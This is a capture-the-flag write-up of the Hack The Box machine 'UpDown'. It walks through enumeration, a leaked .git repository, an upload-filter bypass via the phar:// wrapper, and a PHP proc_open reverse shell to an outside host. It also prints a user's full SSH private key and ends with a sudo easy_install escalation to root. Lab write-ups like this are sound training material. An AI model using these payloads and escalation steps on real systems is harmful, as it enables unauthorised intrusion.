Enumeration
nmap
I start with a nmap scan which shows that the only ports opened are HTTP, SSH on TCP and DHCP on UDP.
nmap scan results
Nmap scan report for 10.129.227.227
Host is up (0.040s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
| 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/9%OT=22%CT=1%CU=34949%PV=Y%DS=2%DC=I%G=Y%TM=69D81DCE
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=104%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%C
OS:I=Z%II=I%TS=A)SEQ(SP=F4%GCD=1%ISR=F8%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=F8%GCD=1
OS:%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E2NN
OS:T11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88%W3=
OS:FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC=Y%
OS:Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40
OS:%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q
OS:=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IP
OS:L=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.58 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 23:44 CEST
Nmap scan report for 10.129.227.227
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 23:45 CEST
Nmap scan report for 10.129.227.227
Host is up (0.028s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
Nmap done: 1 IP address (1 host up) scanned in 1011.77 seconds
HTTP
Looking at the website we can see that it’s conceptually a simple website that checks if another given website is up, or down. Looking around the mechanism normally and through burpsuite I can see that there is a lot of filtering around the input. The most bare down version of a query is “h://t” but any type of injection or inclusion are being caught by the system’s logic.
Now I’ll set up a listener and see if the checker connects - it does. I now created a PHP shell and I’ll see if it executes it. Unfortunately it doesn’t.
I scanned for different subdomains and directories with [[ffuf]] and I found “dev” for both of the scans. It however only shows a 403 - forbidden error.
I started another directory enumeration with ffuf - this time inside /dev and it came I found a “.git” directory. I didn’t think of it as valuable at first, but after some digging and reading it can hold some nice data. I also found this tool named git-dumper which seems it could be useful exactly for that.
Git code review
I tested both manual enumeration and with git-dumper. The second one is in my opinion superior as the tool doesn’t only download and list files from /.git as I expected - it reconstructs the repo itself rebuilding the actual working directory from the git objects.
From the “changelog.txt” I learn that there is an upload option on the website and a plan for a new admin panel. Checking the “checker.php” I found some interesting information about the logic of the website, especially these parts:
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}Key information:
- I know which extensions are not allowed
- I know the upload location and the naming convention of the uploaded file too
- I know that the file must be smaller than 10 kB.
Now my task is to structure an attack path that will check all of these boxes.
Firstly, one php related extension which can execute that I don’t see mentioned in the script is “.phar”.
With a reverse shell named “shell.phar” I would need to access it under “http://siteisup.htb/uploads/
I create a shell file, the payload itself is from PentestMonkey.
I started a python server where my shell resides with azaeir@parrot (~/Desktop/htb/machines/updown): python -m http.server 1338, I requested the shell from the siteisup.htb and got a confirmation that it was successful. This confirmation also contains a timestamp 10.129.227.227 - - [11/Apr/2026 16:51:45] "GET /shell.phar HTTP/1.1" 200 -. I quickly read that the PHP’s time() function uses epoch format. I could’ve ran the function myself, but I found a simple website that converts time dates into epoch. I take my output of “1765462305” and run it against a hash generator and get my hash - here is the process:
- 11/Apr/2026 16:51:45 - Original
- 11/Apr/2026 14:51:45 - Converted to UTC
- 1775919105 - Converted into Epoch
- 696c4310b51bd75fc8591dca1f24e191 - Hashed with MD5
Sadly - even though it would be a cool technique - this doesn’t work. This could be because of the server using different time or the last function in the script which might automatically delete uploaded files to block this whole attack path.
I decided to step back and carefully read through all the files and try to understand them.
Foothold
Setting up the header
In the .htaccess there is a rule that blocks all traffic unless a request includes the “Special-Dev header set to “only4dev”, which then grants access via an environment flag. Let’s try to access both the normal and the dev. subdomain.
I can’t seem to make it work with burpsuite, I get a time-out, but curl does work curl -H "Special-Dev: only4dev" http://dev.siteisup.htb. To make it work better I found this firefox add-on which made it persistent.
PHP wrappers
At this point I struggled a lot. I got access to the developer which allowed me this time to upload a file with URL addresses to check if they are up or down. I wasn’t able to upload any rev shells or webshell because of the extension limits I saw in the source code. When I accessed the admin page I noticed a “page” get parameter so I decided to look for some PHP filters and attempt LFI but this also failed. While researching PHP filters I stumbled upon the topic of PHP wrappers. In short, PHP wrappers allow PHP to read a bunch of different streams of data. So besides being used with http:// or https:// it can also understand zip://, phar:// and a bunch of more of them. As I wasn’t able to input basic php extensions I wanted to upload a zip file with my rev shell but it didn’t work. I guess partially because of the fact that php was also somewhere in the code mentioned to be black listed, and, also because they might be further filtering for PHP functions rendering most of the shell useless. I decided to create a zip file but change it’s extension to something random, hoping that filtering doesn’t check the magic bytes and run <?php phpinfo(); ?>. To access this file, I decided to try phar as it behaves in a lot of ways like zip data stream but it might’ve not been blocked and to my surprise, this combination worked. http://dev.siteisup.htb/?page=phar://uploads/4eba46216cd35f13b3cd75de77575283/info.az/info.
In phpinfo I can see a big list of disabled function which explains why my shells didn’t work.
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopenBypassing filters
I could look through them manually and see if there are any that were not mentioned, but I much more prefer to use dfunc-bypasser. The original dfunc runs on python2 which is deprecated, but I luckily found a python3 fork. When I ran this script it didn’t want to connect to the site, this is likely because of the fact that we need a special header to access it. I made a copy of the tool and looked through it to see if I can add edit the header somewhere in it but I wasn’t able to figure it out. I just decided to cut my losses and examine the list myself. It would be a big waste of time if I started to edit a python script for it to not find any functions.
I wanted to go one-by-one through the functions. Then I thought I could make some short python script/loop that would check phpinfo() output and mark those vulnerable functions and lastly I though “this functionality must be in the dfunc-bypasser itself, right?” Because of that I noticed two easy way to enumerate those functions.
Firstly there is no need to edit the dfunc-bypasser, there is a simple -H flag which worked for me dfunc-bypasser.py --url 'http://dev.siteisup.htb/?page=phar://uploads/9d7e3ad5bd39603e06555b7ab37a490d/info.az/info' -H 'Special-Dev=only4dev'.
Secondly, there is a --file flag which takes a local file of phpinfo so one could dump the data from the website and parse it that way.
Setting up a shell
Finally, I can see that proc_open is a function that is not being filtered.
To exploit this function I started to look for different web shells like this one or this one. I swapped through a bunch of them until I finally found one that worked and didn’t use any forbidden functions:
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr
);
$process = proc_open('/bin/bash -c "bash -i >& /dev/tcp/10.10.15.189/1337 0>&1"', $descriptorspec, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
?>I put it in “procopenshell.php” and zipped it using an arbitrary extension - zip proc.lol procopenshell.php.
I started a listener to catch the shell - rlwrap -r nc -lnvp 1337
And soon after I uploaded the file, I access the shell with this URL http://dev.siteisup.htb/?page=phar://uploads/b47622cacd7fde0edbbdcea9c74b7e28/proc.lol/procopenshell
What I found confusing is that I had to specify an extension for procopenshell.php even though the websites logic showed that it will append it itself. Without the extension, shell doesn’t execute. Maybe it’s because the file is in an archive? I guess it just checks the initial archive folder and doesn’t look inside - hard for me to tell.
www-data
Anyway, with this we finally get a shell as a www-data user.
www-data@updown:/home/developer/dev$ ls -la
ls -la
total 32
drwxr-x--- 2 developer www-data 4096 Jun 22 2022 .
drwxr-xr-x 6 developer developer 4096 Aug 30 2022 ..
-rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisupLooking around the machine, I see that there is a user.txt flag located in the developer home directory. I can’t access it, because I lack permissions to read it.
In the home directory of that user there is a /dev folder which hosts two files - “siteisup” and “siteisup_text.py”.
Looking at the files I can see that siteisup has a sid as root so this is likely a way to priv-esc.
Looking at siteisup with the strings command I can see that it is related to siteisup_text.py.
Welcome to 'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.pyNext step is to read and understand the second script.
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"I missed this detail few first times I read the code, but apparently this is a Python2 code and it uses the input() function to get user input which luckily for me also automatically executes code. This function uses eval() in the backend meaning it behaves like eval in all other languages!
First i tried a code injection with __import__('os').system('bash') into siteisup_test.py but it hangs the shell up.
Then, I tried a code injection with __import__('os').system('bash') into siteisup which worked without any issues.
developer
With that, I got a partial access as the developer account. The word partial is important - in reality - I only siteisup tool as the developer, other than that my permissions are still www-data level.
-rw-r----- 1 root developer 33 Apr 12 10:06 user.txt
cat user.txt
cat: user.txt: Permission deniedLuckily, quickly looking around the developer’s home directory I found their id_rsa private key. Which I copied, changed permissions and ran which game me full permissions as that account.
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----Privilege Escalation
I started my further enumeration with checking if I have any sudo access, turns out that I do.
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_installI never heard of easy_install, but I googled it and it actually is in GTFOBins.
I simply had to create a fake setup.py holding my bash payload inside, setup a listener on my attacker host, and run the script with sudo.
developer@updown:~$ echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
developer@updown:~$ cat setup.py
import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")
developer@updown:~$ sudo easy_install .And boom, there is root.
Closing Thoughts
Updown is a really challenging machine very focused on niche web exploitation, solid code review and careful parameter manipulation to actually exploit the attack vectors.
It would be tough not to admit that I struggled at almost every point of this box. I learned a lot of new attack paths and I had to level up my game around code review, web attacks as well as injections and bypasses.
